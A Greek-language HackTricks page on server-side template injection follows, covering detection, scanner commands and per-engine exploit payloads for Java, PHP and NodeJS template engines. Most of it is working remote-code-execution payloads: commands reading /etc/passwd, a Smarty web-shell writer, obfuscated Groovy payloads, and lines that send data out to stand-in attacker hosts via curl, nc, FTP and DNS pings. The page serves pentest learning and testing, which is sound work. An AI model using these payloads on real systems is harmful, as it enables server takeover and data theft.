58 KiB
SSTI (Server Side Template Injection)
{% hint style="success" %}
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeΜάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στο 💬 Discord group ή στο telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
RootedCON είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
What is SSTI (Server-Side Template Injection)
Η έγχυση προτύπων πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
Το Jinja είναι μια δημοφιλής μηχανή προτύπων που χρησιμοποιείται σε διαδικτυακές εφαρμογές. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο κομμάτι κώδικα χρησιμοποιώντας το Jinja:
output = template.render(name=request.args.get('name'))
Σε αυτόν τον ευάλωτο κώδικα, η παράμετρος name
από το αίτημα του χρήστη περνάει απευθείας στο πρότυπο χρησιμοποιώντας τη λειτουργία render
. Αυτό μπορεί δυνητικά να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο κώδικα στην παράμετρο name
, οδηγώντας σε server-side template injection.
Για παράδειγμα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα αίτημα με ένα payload όπως αυτό:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Το payload {{bad-stuff-here}}
εισάγεται στην παράμετρο name
. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή.
Για να αποτραπούν οι ευπάθειες από την έγχυση template στον διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που λαμβάνουν υπόψη το πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
Ανίχνευση
Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, η θολότητα του template είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\
) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
- Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
- Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
- Plaintext Context: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ.,
{{7*7}}
,${7*7}
). - Code Context: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το
greeting
στοhttp://vulnerable-website.com/?greeting=data.username
για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στοgreeting=data.username}}hello
που επιστρέφει το όνομα χρήστη.
Φάση Αναγνώρισης
Η αναγνώριση της μηχανής template περιλαμβάνει την ανάλυση μηνυμάτων σφάλματος ή τη χειροκίνητη δοκιμή διαφόρων payloads που είναι συγκεκριμένα για γλώσσες. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν ${7/0}
, {{7/0}}
, και <%= 7/0 %>
. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές λειτουργίες βοηθά στην προσδιορισμό της συγκεκριμένης μηχανής template.
Αναγνώριση μέσω payloads
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Εργαλεία
TInjA
ένας αποτελεσματικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς πολυγλωσσικούς επιθέτες template injection μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών template.
Exploits
Generic
Σε αυτή τη λίστα λέξεων μπορείτε να βρείτε μεταβλητές που ορίζονται στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Βασική ένεση
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος
${T(java.lang.System).getenv()}
Java - Ανάκτηση /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Μπορείτε να δοκιμάσετε τα payload σας στο https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Τίποτα
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Παράκαμψη Sandbox
⚠️ λειτουργεί μόνο σε εκδόσεις Freemarker κάτω από 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Περισσότερες πληροφορίες
- Στην ενότητα FreeMarker του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Περισσότερες πληροφορίες
- Στην ενότητα Velocity του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση ${7*7}
, η οποία ισχύει επίσης για αυτή την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι εξής:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται εντός συγκεκριμένων χαρακτηριστικών. Ωστόσο, υποστηρίζεται inline έκφραση για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως [[...]]
ή [(...)]
. Έτσι, μια απλή δοκιμή SSTI μπορεί να μοιάζει με [[${7*7}]]
.
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους TemplateResolver
για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι ασυνήθιστο.
Το Thymeleaf προσφέρει επίσης προεπεξεργασία εκφράσεων, όπου οι εκφράσεις εντός διπλών υπογραμμίσεων (__...__
) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως αποδεικνύεται στην τεκμηρίωση του Thymeleaf:
#{selection.__${sel.code}__}
Παράδειγμα Ευπάθειας στο Thymeleaf
Σκεφτείτε το παρακάτω απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι επιρρεπές σε εκμετάλλευση:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Αυτό υποδηλώνει ότι αν η μηχανή προτύπων επεξεργαστεί αυτές τις εισόδους λανθασμένα, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα που αποκτά πρόσβαση σε διευθύνσεις URL όπως:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Περισσότερες πληροφορίες
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Παράκαμψη φίλτρων
Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το ${...}
δεν λειτουργεί δοκιμάστε το #{...}
, *{...}
, @{...}
ή ~{...}
.
- Διαβάστε το
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Προσαρμοσμένο σενάριο για τη δημιουργία payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Περισσότερες Πληροφορίες
Manipulation Άποψης Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Παλαιά έκδοση του Pebble ( < έκδοση 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Νέα έκδοση του Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπτύχθηκε από την Hubspot, διαθέσιμο στο https://github.com/HubSpot/jinjava/
Jinjava - Εκτέλεση εντολών
Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Περισσότερες πληροφορίες
Hubspot - HuBL (Java)
{% %}
δηλωτές δηλώσεων{{ }}
δηλωτές εκφράσεων{# #}
δηλωτές σχολίων{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Αναζητήστε το "com.hubspot.content.hubl.context.TemplateContextRequest" και ανακαλύψτε το Jinjava project στο Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Περισσότερες πληροφορίες
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
- JavaServer Faces (JSF): Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο backend.
- JavaServer Pages (JSP): Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
- Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διάταξης και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
Ελέγξτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την εκμετάλλευση των ερμηνευτών EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Οι παρακάτω παρακάμψεις του Security Manager προήλθαν από αυτήν την αναφορά.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
Άλλο Java
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Περισσότερες πληροφορίες
- Στην ενότητα Smarty του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Μορφή προτύπου
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Περισσότερες πληροφορίες
- Στην ενότητα Twig και Twig (Sandboxed) του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Το Plates είναι μια μηχανή templating που είναι εγγενής στο PHP, αντλώντας έμπνευση από το Twig. Ωστόσο, σε αντίθεση με το Twig, το οποίο εισάγει μια νέα σύνταξη, το Plates αξιοποιεί τον εγγενή κώδικα PHP στα templates, καθιστώντας το διαισθητικό για τους προγραμματιστές PHP.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Σελίδα πρότυπο:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Διάταξη προτύπου:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Περισσότερες πληροφορίες
PHPlib και HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά μεταφερμένο στο Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Περισσότερες πληροφορίες
Άλλο PHP
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Περισσότερες πληροφορίες
- Στην ενότητα Jade του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate μη-συμπληρωματική μηχανή templating PHP, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διάφορα μέρη
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Περισσότερες πληροφορίες
Handlebars (NodeJS)
Διαδρομή Πλοήγησης (περισσότερες πληροφορίες εδώ).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Σφάλμα
- ${7*7} = ${7*7}
- Τίποτα
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Περισσότερες πληροφορίες
JsRender (NodeJS)
Πρότυπο | Περιγραφή |
---|---|
Αξιολόγηση και απόδοση εξόδου | |
Αξιολόγηση και απόδοση HTML κωδικοποιημένου εξόδου | |
Σχόλιο | |
και | Επιτρέπεται ο κώδικας (απενεργοποιημένο από προεπιλογή) |
- = 49
Client Side
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Εξυπηρετητής
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
